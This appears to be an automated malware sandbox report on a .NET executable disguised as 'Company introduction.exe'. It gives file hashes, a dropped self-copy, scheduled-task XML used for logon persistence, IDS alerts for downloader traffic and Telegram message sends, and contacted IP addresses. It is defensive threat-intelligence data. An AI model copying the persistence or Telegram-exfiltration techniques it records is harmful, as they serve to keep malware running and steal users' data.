Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	2232
Entropy (8bit):	5.379460230152629
Encrypted:	false
SSDEEP:	48:fWSU4y4RQmFoUeWmfgZ9tK8NPZHUm7u1iMuge//Z8vUyus:fLHyIFKL3IZ2KRH9Ouggs
MD5:	5F355422EC7EF08609CC91728781B675
SHA1:	EC2F98559C8DCCD7B3D9454618E092E6993632DF
SHA-256:	5531100331171995A90752EE94B34BBE5DBDD7BCCD4B8530C1D9C77404E8CC9C
SHA-512:	90CD74FEEA54C9A8FA1EDB2B46DDCBC8640F1573064A4F2A147E1BE04AFE84F6F77ADBB98CD108A55ED21E740726911D2196B716B48C2D6EAE93BFF936BA8CBE
Malicious:	false
Preview:	@...e................................................@..........P................1]...E.....j.....(.Microsoft.PowerShell.Commands.ManagementH...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..\|f........System.Core.D...............4..7..D.#V.............System.Management.AutomationL.................gQ?O.....x5.......#.Microsoft.Management.Infrastructure.<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServices4.................%...K... ...........System.Xml..8..................1...L..U;V.<}........System.Numerics.4.....................@.[8]'.\........System.Data.<...............i..VdqF...\|...........System.ConfigurationH................WY..2.M.&..g(g........Microsoft.PowerShell.Security...<...............V.}...@...i...........System.Transactions.P...............8..{...@.e..."4.......%.Microsoft.PowerShell.Com

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_axwzueqw.uwj.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_cgkdfev1.wn5.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_qgdecf5v.gaf.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ygg41dke.ntw.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\tmpE629.tmp

Download File

Process:	C:\Users\user\Desktop\Company introduction.exe
File Type:	XML 1.0 document, ASCII text
Category:	dropped
Size (bytes):	1573
Entropy (8bit):	5.119400958992196
Encrypted:	false
SSDEEP:	24:2di4+S2qh11hXy1mvWUnrKMhEMOFGpwOzNgU3ODOiIQRvh7hwrgXuNtaC5xvn:cge1wYrFdOFzOzN33ODOiDdKrsuTfvv
MD5:	3A871C4D57EF4E7719A1D1A7FCD88A2C
SHA1:	6554BD589332C5B53C450A1763DB4D59506BC304
SHA-256:	E454E384C15743002C76A1A26BF95816529A57501FE4300C50390549FB71A07F
SHA-512:	E83716CAA579DA5A7EDAF945A90479C2A8102DE860799934785B44D3775D71B99E25755F07F354758B149730C3C7424A9E162C63AC655B9AC6B25B25D616BE92
Malicious:	true
Preview:	<?xml version="1.0" encoding="UTF-16"?>.<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">. <RegistrationInfo>. <Date>2014-10-25T14:27:44.8929027</Date>. <Author>user-PC\user</Author>. </RegistrationInfo>. <Triggers>. <LogonTrigger>. <Enabled>true</Enabled>. <UserId>user-PC\user</UserId>. </LogonTrigger>. <RegistrationTrigger>. <Enabled>false</Enabled>. </RegistrationTrigger>. </Triggers>. <Principals>. <Principal id="Author">. <UserId>user-PC\user</UserId>. <LogonType>InteractiveToken</LogonType>. <RunLevel>LeastPrivilege</RunLevel>. </Principal>. </Principals>. <Settings>. <MultipleInstancesPolicy>StopExisting</MultipleInstancesPolicy>. <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>. <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>. <AllowHardTerminate>false</AllowHardTerminate>. <StartWhenAvailable>true</StartWhenAvailable>. <RunOnlyIfNetworkAvail

C:\Users\user\AppData\Local\Temp\tmpEF32.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\FzXKnGk.exe
File Type:	XML 1.0 document, ASCII text
Category:	dropped
Size (bytes):	1573
Entropy (8bit):	5.119400958992196
Encrypted:	false
SSDEEP:	24:2di4+S2qh11hXy1mvWUnrKMhEMOFGpwOzNgU3ODOiIQRvh7hwrgXuNtaC5xvn:cge1wYrFdOFzOzN33ODOiDdKrsuTfvv
MD5:	3A871C4D57EF4E7719A1D1A7FCD88A2C
SHA1:	6554BD589332C5B53C450A1763DB4D59506BC304
SHA-256:	E454E384C15743002C76A1A26BF95816529A57501FE4300C50390549FB71A07F
SHA-512:	E83716CAA579DA5A7EDAF945A90479C2A8102DE860799934785B44D3775D71B99E25755F07F354758B149730C3C7424A9E162C63AC655B9AC6B25B25D616BE92
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-16"?>.<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">. <RegistrationInfo>. <Date>2014-10-25T14:27:44.8929027</Date>. <Author>user-PC\user</Author>. </RegistrationInfo>. <Triggers>. <LogonTrigger>. <Enabled>true</Enabled>. <UserId>user-PC\user</UserId>. </LogonTrigger>. <RegistrationTrigger>. <Enabled>false</Enabled>. </RegistrationTrigger>. </Triggers>. <Principals>. <Principal id="Author">. <UserId>user-PC\user</UserId>. <LogonType>InteractiveToken</LogonType>. <RunLevel>LeastPrivilege</RunLevel>. </Principal>. </Principals>. <Settings>. <MultipleInstancesPolicy>StopExisting</MultipleInstancesPolicy>. <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>. <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>. <AllowHardTerminate>false</AllowHardTerminate>. <StartWhenAvailable>true</StartWhenAvailable>. <RunOnlyIfNetworkAvail

C:\Users\user\AppData\Roaming\FzXKnGk.exe

Download File

Process:	C:\Users\user\Desktop\Company introduction.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	854528
Entropy (8bit):	7.674812972167672
Encrypted:	false
SSDEEP:	24576:XsJN+UVsa/olYFjQyPIoqtpGFjcrpTZ6q6U7jbHXM:83+UfxFsyPIoqcETHFXX
MD5:	10F72E53A2C9F106093C233B56A3A819
SHA1:	E8A63836FF90493559B69A1BC6D6080BA9370A99
SHA-256:	84E892D4627A3A3AA053B30200788BD6942C046D2DADCF5121017A32E10142F2
SHA-512:	CD83C1B9C6128B852F36F97A387C4C89B781F0B0B52702540B12C5878129A0352C3EDC2C12E2FB13E8F159256272338833715C3D78D98C4A195B8E50BD1EBCE2
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 34% Antivirus: Virustotal, Detection: 29%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......g..............0.............2.... ... ....@.. .......................`............@.....................................O.... ..l....................@....................................................... ............... ..H............text...H.... ...................... ..`.rsrc...l.... ......................@..@.reloc.......@......................@..B........................H........a...N..............@`...........................................0..P............(....(..........s ...%s....o!....%s....o!....%s....o!....%s....o!..........0..\........~....r...po"....s#.....~....o$....+..o%.......o.......o....-....,..o......~....r;..po"..........#..@......".(&........0..E........('.....((....s=...().....(...rw..po+....s....(...........o,.......*............8.......0...........~....r...p.o-...o.....r...p.o-...r...p(/...s'......o)......o.....8.....

C:\Users\user\AppData\Roaming\FzXKnGk.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\Company introduction.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.674812972167672
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.83% Win32 Executable (generic) a (10002005/4) 49.78% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01%
File name:	Company introduction.exe
File size:	854'528 bytes
MD5:	10f72e53a2c9f106093c233b56a3a819
SHA1:	e8a63836ff90493559b69a1bc6d6080ba9370a99
SHA256:	84e892d4627a3a3aa053b30200788bd6942c046d2dadcf5121017a32e10142f2
SHA512:	cd83c1b9c6128b852f36f97a387c4c89b781f0b0b52702540b12c5878129a0352c3edc2c12e2fb13e8f159256272338833715c3d78d98c4a195b8e50bd1ebce2
SSDEEP:	24576:XsJN+UVsa/olYFjQyPIoqtpGFjcrpTZ6q6U7jbHXM:83+UfxFsyPIoqcETHFXX
TLSH:	7205D0C03B2A7311DDACBA34853BDDB9A2642D38B00479E26EDD2B5776DD1039A1CF45
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......g..............0.............2.... ... ....@.. .......................`............@................................

File Icon


Icon Hash:	0066b49631f8dc38

Static PE Info

General

Entrypoint:	0x4d1032
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x67871BE8 [Wed Jan 15 02:22:32 2025 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
lodsd
fiadd word ptr [eax]
add bh, ch
mov esi, CAFE0000h
add byte ptr [eax], al
mov esi, 000000BAh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xd0fe0	0x4f	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xd2000	0x126c	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xd4000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0xcf048	0xcf200	4821f738bd26c6e31e04e0b0d037e9eb	False	0.8769696269613759	data	7.681146035096391	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0xd2000	0x126c	0x1400	dada842701f0d675dbc615b6d00973e9	False	0.7080078125	data	6.393064731157026	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xd4000	0xc	0x200	abb73554162131666411a8df5fbbc290	False	0.044921875	data	0.10191042566270775	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	ZLIB Complexity
RT_ICON	0xd2100	0xbdf	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	0.9348469891411648
RT_GROUP_ICON	0xd2cf0	0x14	data	1.05
RT_VERSION	0xd2d14	0x358	data	0.4287383177570093
RT_MANIFEST	0xd307c	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators	0.5489795918367347

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-15T08:39:04.279464+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49733	193.122.6.168	80	TCP
2025-01-15T08:39:05.257413+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49733	193.122.6.168	80	TCP
2025-01-15T08:39:05.771201+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49735	104.21.48.1	443	TCP
2025-01-15T08:39:06.498360+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49738	193.122.6.168	80	TCP
2025-01-15T08:39:06.607571+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49737	193.122.6.168	80	TCP
2025-01-15T08:39:07.451354+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49737	193.122.6.168	80	TCP
2025-01-15T08:39:08.006925+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49743	104.21.48.1	443	TCP
2025-01-15T08:39:08.704094+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49745	193.122.6.168	80	TCP
2025-01-15T08:39:09.261798+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49747	104.21.48.1	443	TCP
2025-01-15T08:39:10.767027+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49752	104.21.48.1	443	TCP
2025-01-15T08:39:12.063724+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49756	104.21.48.1	443	TCP
2025-01-15T08:39:14.296041+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49763	104.21.48.1	443	TCP
2025-01-15T08:39:14.542062+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49764	104.21.48.1	443	TCP
2025-01-15T08:39:15.625059+0100	1810007	Joe Security ANOMALY Telegram Send Message	1	192.168.2.4	49766	149.154.167.220	443	TCP
2025-01-15T08:39:17.808179+0100	1810007	Joe Security ANOMALY Telegram Send Message	1	192.168.2.4	49773	149.154.167.220	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 15, 2025 08:39:03.347352028 CET	49733	80	192.168.2.4	193.122.6.168
Jan 15, 2025 08:39:03.352174044 CET	80	49733	193.122.6.168	192.168.2.4
Jan 15, 2025 08:39:03.352293015 CET	49733	80	192.168.2.4	193.122.6.168
Jan 15, 2025 08:39:03.352514029 CET	49733	80	192.168.2.4	193.122.6.168
Jan 15, 2025 08:39:03.357280016 CET	80	49733	193.122.6.168	192.168.2.4
Jan 15, 2025 08:39:03.979095936 CET	80	49733	193.122.6.168	192.168.2.4
Jan 15, 2025 08:39:03.991544962 CET	49733	80	192.168.2.4	193.122.6.168
Jan 15, 2025 08:39:03.996412992 CET	80	49733	193.122.6.168	192.168.2.4
Jan 15, 2025 08:39:04.177424908 CET	80	49733	193.122.6.168	192.168.2.4
Jan 15, 2025 08:39:04.234563112 CET	49734	443	192.168.2.4	104.21.48.1
Jan 15, 2025 08:39:04.234652996 CET	443	49734	104.21.48.1	192.168.2.4
Jan 15, 2025 08:39:04.235274076 CET	49734	443	192.168.2.4	104.21.48.1
Jan 15, 2025 08:39:04.257548094 CET	49734	443	192.168.2.4	104.21.48.1
Jan 15, 2025 08:39:04.257581949 CET	443	49734	104.21.48.1	192.168.2.4
Jan 15, 2025 08:39:04.279464006 CET	49733	80	192.168.2.4	193.122.6.168
Jan 15, 2025 08:39:04.738928080 CET	443	49734	104.21.48.1	192.168.2.4
Jan 15, 2025 08:39:04.739021063 CET	49734	443	192.168.2.4	104.21.48.1
Jan 15, 2025 08:39:04.744255066 CET	49734	443	192.168.2.4	104.21.48.1
Jan 15, 2025 08:39:04.744307995 CET	443	49734	104.21.48.1	192.168.2.4
Jan 15, 2025 08:39:04.744805098 CET	443	49734	104.21.48.1	192.168.2.4
Jan 15, 2025 08:39:04.837207079 CET	49734	443	192.168.2.4	104.21.48.1
Jan 15, 2025 08:39:04.883341074 CET	443	49734	104.21.48.1	192.168.2.4
Jan 15, 2025 08:39:04.947345018 CET	443	49734	104.21.48.1	192.168.2.4
Jan 15, 2025 08:39:04.947501898 CET	443	49734	104.21.48.1	192.168.2.4
Jan 15, 2025 08:39:04.947563887 CET	49734	443	192.168.2.4	104.21.48.1
Jan 15, 2025 08:39:04.953680992 CET	49734	443	192.168.2.4	104.21.48.1
Jan 15, 2025 08:39:04.957642078 CET	49733	80	192.168.2.4	193.122.6.168
Jan 15, 2025 08:39:04.962450981 CET	80	49733	193.122.6.168	192.168.2.4
Jan 15, 2025 08:39:05.144056082 CET	80	49733	193.122.6.168	192.168.2.4
Jan 15, 2025 08:39:05.146735907 CET	49735	443	192.168.2.4	104.21.48.1
Jan 15, 2025 08:39:05.146770954 CET	443	49735	104.21.48.1	192.168.2.4
Jan 15, 2025 08:39:05.146847010 CET	49735	443	192.168.2.4	104.21.48.1
Jan 15, 2025 08:39:05.147069931 CET	49735	443	192.168.2.4	104.21.48.1
Jan 15, 2025 08:39:05.147082090 CET	443	49735	104.21.48.1	192.168.2.4
Jan 15, 2025 08:39:05.257412910 CET	49733	80	192.168.2.4	193.122.6.168
Jan 15, 2025 08:39:05.627742052 CET	443	49735	104.21.48.1	192.168.2.4
Jan 15, 2025 08:39:05.629476070 CET	49735	443	192.168.2.4	104.21.48.1
Jan 15, 2025 08:39:05.629494905 CET	443	49735	104.21.48.1	192.168.2.4
Jan 15, 2025 08:39:05.681332111 CET	49737	80	192.168.2.4	193.122.6.168
Jan 15, 2025 08:39:05.686306000 CET	80	49737	193.122.6.168	192.168.2.4
Jan 15, 2025 08:39:05.686376095 CET	49737	80	192.168.2.4	193.122.6.168
Jan 15, 2025 08:39:05.691999912 CET	49737	80	192.168.2.4	193.122.6.168
Jan 15, 2025 08:39:05.696757078 CET	80	49737	193.122.6.168	192.168.2.4
Jan 15, 2025 08:39:05.771375895 CET	443	49735	104.21.48.1	192.168.2.4
Jan 15, 2025 08:39:05.771519899 CET	443	49735	104.21.48.1	192.168.2.4
Jan 15, 2025 08:39:05.771701097 CET	49735	443	192.168.2.4	104.21.48.1
Jan 15, 2025 08:39:05.772100925 CET	49735	443	192.168.2.4	104.21.48.1
Jan 15, 2025 08:39:05.775768042 CET	49733	80	192.168.2.4	193.122.6.168
Jan 15, 2025 08:39:05.777059078 CET	49738	80	192.168.2.4	193.122.6.168
Jan 15, 2025 08:39:05.780679941 CET	80	49733	193.122.6.168	192.168.2.4
Jan 15, 2025 08:39:05.780742884 CET	49733	80	192.168.2.4	193.122.6.168
Jan 15, 2025 08:39:05.781913042 CET	80	49738	193.122.6.168	192.168.2.4
Jan 15, 2025 08:39:05.781994104 CET	49738	80	192.168.2.4	193.122.6.168
Jan 15, 2025 08:39:05.782098055 CET	49738	80	192.168.2.4	193.122.6.168
Jan 15, 2025 08:39:05.786833048 CET	80	49738	193.122.6.168	192.168.2.4
Jan 15, 2025 08:39:06.312624931 CET	80	49737	193.122.6.168	192.168.2.4
Jan 15, 2025 08:39:06.316016912 CET	49737	80	192.168.2.4	193.122.6.168
Jan 15, 2025 08:39:06.320847988 CET	80	49737	193.122.6.168	192.168.2.4
Jan 15, 2025 08:39:06.408117056 CET	80	49738	193.122.6.168	192.168.2.4
Jan 15, 2025 08:39:06.409535885 CET	49740	443	192.168.2.4	104.21.48.1
Jan 15, 2025 08:39:06.409588099 CET	443	49740	104.21.48.1	192.168.2.4
Jan 15, 2025 08:39:06.409663916 CET	49740	443	192.168.2.4	104.21.48.1
Jan 15, 2025 08:39:06.409971952 CET	49740	443	192.168.2.4	104.21.48.1
Jan 15, 2025 08:39:06.409996033 CET	443	49740	104.21.48.1	192.168.2.4
Jan 15, 2025 08:39:06.498359919 CET	49738	80	192.168.2.4	193.122.6.168
Jan 15, 2025 08:39:06.501981020 CET	80	49737	193.122.6.168	192.168.2.4
Jan 15, 2025 08:39:06.540460110 CET	49741	443	192.168.2.4	104.21.48.1
Jan 15, 2025 08:39:06.540509939 CET	443	49741	104.21.48.1	192.168.2.4
Jan 15, 2025 08:39:06.540585041 CET	49741	443	192.168.2.4	104.21.48.1
Jan 15, 2025 08:39:06.544745922 CET	49741	443	192.168.2.4	104.21.48.1
Jan 15, 2025 08:39:06.544764996 CET	443	49741	104.21.48.1	192.168.2.4
Jan 15, 2025 08:39:06.607570887 CET	49737	80	192.168.2.4	193.122.6.168
Jan 15, 2025 08:39:06.879595041 CET	443	49740	104.21.48.1	192.168.2.4
Jan 15, 2025 08:39:06.881675005 CET	49740	443	192.168.2.4	104.21.48.1
Jan 15, 2025 08:39:06.881705999 CET	443	49740	104.21.48.1	192.168.2.4
Jan 15, 2025 08:39:07.014489889 CET	443	49741	104.21.48.1	192.168.2.4
Jan 15, 2025 08:39:07.014605999 CET	49741	443	192.168.2.4	104.21.48.1
Jan 15, 2025 08:39:07.015917063 CET	49741	443	192.168.2.4	104.21.48.1
Jan 15, 2025 08:39:07.015944958 CET	443	49741	104.21.48.1	192.168.2.4
Jan 15, 2025 08:39:07.017153978 CET	443	49741	104.21.48.1	192.168.2.4
Jan 15, 2025 08:39:07.022965908 CET	443	49740	104.21.48.1	192.168.2.4
Jan 15, 2025 08:39:07.023116112 CET	443	49740	104.21.48.1	192.168.2.4
Jan 15, 2025 08:39:07.023226976 CET	49740	443	192.168.2.4	104.21.48.1
Jan 15, 2025 08:39:07.023520947 CET	49740	443	192.168.2.4	104.21.48.1
Jan 15, 2025 08:39:07.028381109 CET	49742	80	192.168.2.4	193.122.6.168
Jan 15, 2025 08:39:07.033152103 CET	80	49742	193.122.6.168	192.168.2.4
Jan 15, 2025 08:39:07.033409119 CET	49742	80	192.168.2.4	193.122.6.168
Jan 15, 2025 08:39:07.033612013 CET	49742	80	192.168.2.4	193.122.6.168
Jan 15, 2025 08:39:07.038358927 CET	80	49742	193.122.6.168	192.168.2.4
Jan 15, 2025 08:39:07.091975927 CET	49741	443	192.168.2.4	104.21.48.1
Jan 15, 2025 08:39:07.114553928 CET	49741	443	192.168.2.4	104.21.48.1
Jan 15, 2025 08:39:07.155366898 CET	443	49741	104.21.48.1	192.168.2.4
Jan 15, 2025 08:39:07.218830109 CET	443	49741	104.21.48.1	192.168.2.4
Jan 15, 2025 08:39:07.218977928 CET	443	49741	104.21.48.1	192.168.2.4
Jan 15, 2025 08:39:07.219049931 CET	49741	443	192.168.2.4	104.21.48.1
